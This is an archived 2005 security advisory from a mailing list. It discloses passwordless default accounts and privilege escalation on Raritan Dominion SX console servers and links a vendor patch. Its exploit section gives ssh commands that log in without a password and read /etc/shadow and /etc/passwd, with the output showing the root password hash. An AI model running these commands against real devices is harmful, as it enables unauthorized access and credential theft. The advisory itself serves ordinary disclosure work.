

[UNIX] Raritan Console Servers Access Privileges Escalation and Default Login

Source: <http://www.derkeiler.com/Mailing-Lists/Securiteam/2005-06/0117.html>

From: SecuriTeam (support_at_securiteam.com)

Date: 06/30/05

To: list@securiteam.com

Date: 30 Jun 2005 15:23:09 +0200

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

The SecuriTeam alerts list – Free, Accurate, Independent.

Get your security news from a reliable source.

<http://www.securiteam.com/maillinglist.html>

Raritan Console Servers Access Privileges Escalation and Default Login

SUMMARY

<<http://www.raritan-ap.com/>> Dominion SX is "a secure console server for local and remote access to serially managed servers and other serial devices via SSH/Telnet and Web browser".

Two vulnerabilities were discovered in Raritan's console server solutions.

DETAILS

Vulnerable Systems:

* DSX16, DSX32, DSX4, DSX8, DSXA-48 (Mips and Intel)

DSX Raritan Console Servers come with two accounts that do not have a password. Normal users are not supposed to get access to the underlying Linux, but they can use the busybox environment to gain elevated privileges. Further the password used to protect the root password can be cracked by utilizing brute forcing techniques.

Patch Availability:

After reporting it to Raritan has released a fix:

Securiteam: [UNIX] Raritan Console Servers Access Privileges Escalation and Default Login

<http://www.raritan.com/support/sup_upgrades.aspx>
http://www.raritan.com/support/sup_upgrades.aspx

Exploit:

```
% ssh dominion@ ls -l /
[..shows listing..]
% ssh dominion@ ls -ln /etc/shadow
-rw-r--r-- 1 0 0 360 Jun 28 05:09 /etc/shadow
% ssh dominion@ cat /etc/shadow
root:DX8k7w4C2gJ2g:10933:0:99999:7:::
bin:*:10933:0:99999:7:::
daemon:*:10933:0:99999:7:::
adm:*:10933:0:99999:7:::
lp:*:10933:0:99999:7:::
sync:*:10933:0:99999:7:::
shutdown:*:10933:0:99999:7:::
halt:*:10933:0:99999:7:::
uucp:*:10933:0:99999:7:::
operator:*:10933:0:99999:7:::
nobody:*:10933:0:99999:7:::
dominion::12962:0:99999:7:::
sshd::12962:0:99999:7:::
% ssh dominion@ cat /etc/passwd | tail -2
dominion:x:500:500:Embedix User,,,:/home/dominion:/bin/sh
sshd:x:501:501:Embedix User,,,:/home/sshd:/bin/sh
% ssh sshd@ ls
indexApp.htm
% ssh sshd@ ls -l /bin/busybox
-rwxrwxrwx 1 root root 193852 Apr 4 2004 /bin/busybox
```

ADDITIONAL INFORMATION

The information has been provided by <<http://drwetter.org>> Dr. Dirk Wetter.

The original article can be found at: <<http://drwetter.org>>
<http://drwetter.org>

=====

This bulletin is sent to members of the SecuriTeam mailing list.

To unsubscribe from the list, send mail with an empty subject line and body to:

list-unsubscribe@securiteam.com

In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

=====
=====

DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.

In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.